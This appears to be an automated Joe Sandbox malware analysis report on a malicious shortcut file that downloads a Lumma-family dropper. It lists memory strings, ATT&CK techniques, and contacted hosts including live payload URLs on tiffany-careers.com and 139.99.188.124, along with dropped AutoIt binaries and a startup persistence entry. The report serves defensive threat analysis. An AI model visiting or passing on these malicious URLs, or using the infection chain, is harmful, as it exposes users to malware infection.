Source: Guard.exe, 0000001B.00000002.2609994966.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
Source: Guard.exe, 0000001B.00000002.2609705099.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Users\Public\Guard.exe"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1890809020.0000026D23546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1659083377.0000026D092C7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1887300200.0000026D23301000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1682568652.0000000004441000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1665900521.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1682452298.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1669898670.0000000004441000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670776277.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1657905052.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670395732.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670990260.0000000000C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Guard.exe
Source: powershell.exe, 00000019.00000002.1890809020.0000026D23522000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2C:\Users\Public\Guard.exe
Source: PefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1890809020.0000026D23546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1890809020.0000026D234E3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, Guard.exe, 0000001B.00000002.2609271958.00000000009BF000.00000004.00000010.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2609271958.00000000009CF000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \Users\Public\Guard.exe

Source: SwiftWrite.pif	Binary or memory string: WIN_81
Source: SwiftWrite.pif	Binary or memory string: WIN_XP
Source: SwiftWrite.pif	Binary or memory string: WIN_XPe
Source: SwiftWrite.pif	Binary or memory string: WIN_VISTA
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pif	Binary or memory string: WIN_7
Source: SwiftWrite.pif	Binary or memory string: WIN_8
Source: SwiftWrite.pif, 0000001F.00000002.2609273563.0000000000DD6000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	18_2_00007FF697BD4074
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BD3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	18_2_00007FF697BD3940
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0034696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	27_2_0034696E
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00346E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	27_2_00346E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D9696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	31_2_00D9696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D96E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	31_2_00D96E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	38 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	24 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	231 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nTyPEbq9wQ.lnk	21%	ReversingLabs	Win32.Trojan.Pantera
nTyPEbq9wQ.lnk	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Guard.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]	53%	ReversingLabs	Win32.Dropper.Lumma
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	8%	ReversingLabs
C:\Users\user\AppData\Roaming\PefjSkkhb.exe	32%	ReversingLabs	Win32.Exploit.Generic

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.17.65	true	false	high
tiffany-careers.com	147.45.49.155	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://tiffany-careers.com/New_2025.webp	false	unknown
http://139.99.188.124/kiiMf	true	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anh	true	unknown
https://tiffany-careers.com/PefjSkkhb.exe	true	unknown
https://chrome.cloudflare-dns.com/dns-query	false	high
http://139.99.188.124/QWCheljD.txt	true	unknown
https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://tiffany-careers.com/HA_19-12NGHEP_anhN%	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhk%?	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhdll	mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com	powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmp	true	unknown
http://crl.microsoft~	powershell.exe, 00000009.00000002.1647096807.0000024F7AC50000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://139.99.188.124/kiiMfHi	PefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhIT	powershell.exe, 00000005.00000002.1404551947.000001F6EABB0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhx	powershell.exe, 00000005.00000002.1404964086.000001F6EC97F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/New_2025.webp0	powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.autoitscript.com/autoit3/	Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/PefjSkkhb.exep	powershell.exe, 00000009.00000002.1548044895.0000024F62ECF000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhp	powershell.exe, 00000005.00000002.1398818179.000001F680001000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhA-PCUSERDOMAIN_ROAMIN	mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhk=7	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anh5%U	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.orgX	powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh...e	mshta.exe, 00000006.00000003.1670459856.0000023F40251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691564346.0000023F40251000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://139.99.H	powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1398818179.000001F680094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anhLAPP	mshta.exe, 00000006.00000002.1691021357.000002373D860000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhC:	mshta.exe, 00000006.00000003.1656420097.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689128615.000002373D6B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687434395.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.autoitscript.com/autoit3/J	Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000000.1655427947.0000000000399000.00000002.00000001.01000000.00000010.sdmp, SwiftWrite.pif, 0000001F.00000000.1789384786.0000000000DE9000.00000002.00000001.01000000.00000011.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh#%G	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anhB	powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhH	mshta.exe, 00000006.00000002.1690879846.000002373D7E0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhYYC:	mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000019.00000002.1664261404.0000026D0BF94000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.13.dr	false	high
https://contoso.com/Icon	powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/	mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2613660225.0000013311284000.00000004.00000020.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh7	mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhocal	mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhows	mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh1	mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhd	mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhR%8	mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhh	powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F6804A8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://g.live.com/odclientsettings/Prod-C:	svchost.exe, 00000008.00000003.1430460995.0000013311433000.00000004.00000800.00020000.00000000.sdmp	false	high
http://139.99.188.124	powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh...y6	mshta.exe, 00000006.00000003.1656620086.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692048779.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1664804605.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anh$global:?	powershell.exe	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhhttps://tiffany-careers.com/HA_19-12NGHEP_anh	mshta.exe, 00000006.00000003.1672606229.0000023F45AC5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhweLMEM	mshta.exe, 00000006.00000002.1692881727.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/HA_19-12NGHEP_anhX	mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1398818179.000001F68005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F680047000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.v	powershell.exe, 00000005.00000002.1404964086.000001F6EC8F0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://oneget.org	powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/HA_19-12NGHEP_anhN	mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
147.45.49.155	tiffany-careers.com	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
139.99.188.124	unknown	Canada	16276	OVHFR	true
104.126.116.105	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.17.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579759
Start date and time:	2024-12-23 08:38:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nTyPEbq9wQ.lnk renamed because original name is a hash value
Original Sample Name:	3f07684c8928f37a94395ac341b222b4.lnk
Detection:	MAL
Classification:	mal100.expl.evad.winLNK@74/253@14/8
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Successful, ratio: 99% Number of executed functions: 59 Number of non-executed functions: 242
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.17.78, 13.107.6.158, 2.19.198.56, 23.32.238.138, 2.16.158.83, 2.16.158.80, 2.16.158.91, 2.16.158.75, 2.16.158.169, 2.16.158.90, 2.16.158.96, 2.16.158.170, 2.16.158.82, 2.16.158.74, 142.250.80.99, 142.251.32.99, 142.251.40.227, 13.107.246.63, 94.245.104.56, 4.245.163.56, 13.107.246.40, 23.200.0.6
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, l-0007.l-msedge.net, config.edge.skype.com, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, cdp-f-tlu-net.trafficmanager.net, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, b-0005.b-msedge.net, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, l-0007.config.skype
Execution Graph export aborted for target mshta.exe, PID 2764 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1820 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5860 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8348 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:39:46	API Interceptor	1x Sleep call for process: WMIC.exe modified
02:39:52	API Interceptor	2x Sleep call for process: svchost.exe modified
02:39:53	API Interceptor	1x Sleep call for process: mshta.exe modified
02:39:54	API Interceptor	122x Sleep call for process: powershell.exe modified
02:40:54	API Interceptor	1723x Sleep call for process: Guard.exe modified
02:41:11	API Interceptor	688x Sleep call for process: SwiftWrite.pif modified
07:40:18	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
139.99.188.124	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/VmnWBYrzn.txt
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
